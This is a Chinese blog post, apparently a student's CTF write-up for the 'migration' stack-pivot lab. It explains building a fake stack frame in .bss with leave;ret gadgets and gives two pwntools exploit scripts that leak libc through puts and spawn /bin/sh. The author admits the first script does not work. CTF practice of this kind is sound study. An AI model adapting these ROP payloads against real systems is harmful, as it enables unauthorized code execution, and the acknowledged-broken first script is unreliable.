美文网首页
1.28第六条咸鱼

1.28第六条咸鱼

作者: 好大一只免孑 | 来源:发表于2019-01-30 00:22 被阅读0次

    lab6 | | migration |

    基本上是知识盲区
    令人头秃

    图片.png

    这道题是这样的
    通过

    if ( count != 1337 )
        exit(1);
    

    限制了我们只能利用一次main函数的溢出(直接控制main返回到exit后的话,程序的栈结构会乱掉)
    而buf一共28h也就是40字节,read可读进去的是40h也就是64字节,除去覆盖ebp的四个字节,真正能用的实际上只有20字节。然而20字节肯定不够的。
    所以我们需要一个骚操作叫做构造假栈帧

    原理是,通过溢出,去执行一次read函数,把我们要接下来执行的rop链写到bss的某个地址里去(可以根据用readelf 命令去查一下bss的哪个地方有执行的权力),接着构造假的ebp,让ebp跳转到bss的某个地址中,从而让计算机把那个地址当成栈帧,达到构造假栈帧的目的。(大佬的博客里这么教我的

    然后我们这里需要一个leave_ret

    图片.png

    然后还需要两块bss段 一个用来写rop2 一个用来写\bin\sh

    这里放一个比较简单的结构,大概思路是这样:

    rop1=[
    puts,
    pop_ebx_ret,
    libc_start_main_got,
    gets,
    pop_ebx_ret,
    buf2,
    pop_ebx_ret,
    buf2-4,(-4是因为leave中有一个pop ebp语句,所以-4再pop才能跳转去执行rop2)
    leave_ret
    ]

    buf2中用来放rop2
    rop2构造就可以这样

    rop2=[
    gets,
    system,
    buf1,
    buf1
    ]
    buf1里面是('/bin/sh')

    from pwn import *
    #context.log_level='debug'
    
    sh= process('./migration')
    r=ELF('./migration')
    libc=ELF('/lib32/libc.so.6')
    
    libc_start_main_got=r.got['__libc_start_main']
    libc_start_off=libc.symbols['__libc_start_main']
    puts_got=r.got['puts']
    
    puts_adr=r.symbols['puts']
    read_adr=r.symbols['read']
    
    puts_off=libc.symbols['puts']
    system_off=libc.symbols['system']
    gets_off=libc.symbols['gets']
    
    pop_ebx_ret=0x0804836d
    pop3_ret=0x08048569
    leave_ret=0x08048418
    buf1 = r.bss() + 0x500 
    buf2 = r.bss() + 0x400 
    
    p1='a'*44
    p1+=p32(puts_adr)+p32(pop_ebx_ret)+p32(puts_got)
    p1+=p32(read_adr)+p32(pop3_ret)+p32(0)+p32(buf2)+p32(0x100)
    p1+=p32(pop_ebx_ret)+p32(buf2-4)+p32(leave_ret)
    
    sh.recvuntil("Try your best :")
    sh.send(p1)
    sleep(0.1)
    sh.recvuntil('\n')
    
    
    libc_base=u32(sh.recv(4))-puts_off
    print (hex(libc_base))
    
    gets=gets_off+libc_base
    system=libc_base+system_off
    p2=p32(system)+p32(gets)+p32(buf1)+p32(buf1)
    
    sh.send(p2)
    sh.send("/bin/sh\0")
    sh.interactive()
    
    

    emmmmmm有点问题
    之后改

    ok我调不出来
    我认输

    这个wp比较好
    https://blog.csdn.net/zszcr/article/details/79841848

    from pwn import *
    # context.log_level='debug'
    
    sh= process('./migration')
    r=ELF('./migration')
    libc=ELF('/lib32/libc.so.6')
    
    puts_got=r.got['puts']
    
    puts_adr=r.symbols['puts']
    read_adr=r.symbols['read']
    
    puts_off=libc.symbols['puts']
    system_off=libc.symbols['system']
    gets_off=libc.symbols['gets']
    
    pop_ebx_ret=0x0804836d
    pop3_ret=0x08048569
    leave_ret=0x08048418
    buf1 = r.bss() + 0x500 
    buf2 = r.bss() + 0x400 
    
    sh.recvuntil("Try your best :")
    p='a'*40+p32(buf2)
    p+=p32(read_adr)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
    sh.send(p)
    
    p1=p32(buf1)+p32(puts_adr)+p32(pop_ebx_ret)+p32(puts_got)
    p1+=p32(read_adr)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
    
    sh.send(p1)
    sleep(0.1)
    sh.recvuntil('\n')
    
    libc_base=u32(sh.recv(4))-puts_off
    print (hex(libc_base))
    
    gets=gets_off+libc_base
    system=libc_base+system_off
    p2='aaaa'+p32(gets)+p32(system)+p32(buf2)+p32(buf2)
    
    sh.send(p2)
    sh.sendline("/bin/sh\0")
    sh.interactive()
    
    
    图片.png

    相关文章

      网友评论

          本文标题:1.28第六条咸鱼

          本文链接:https://www.haomeiwen.com/subject/xvcfsqtx.html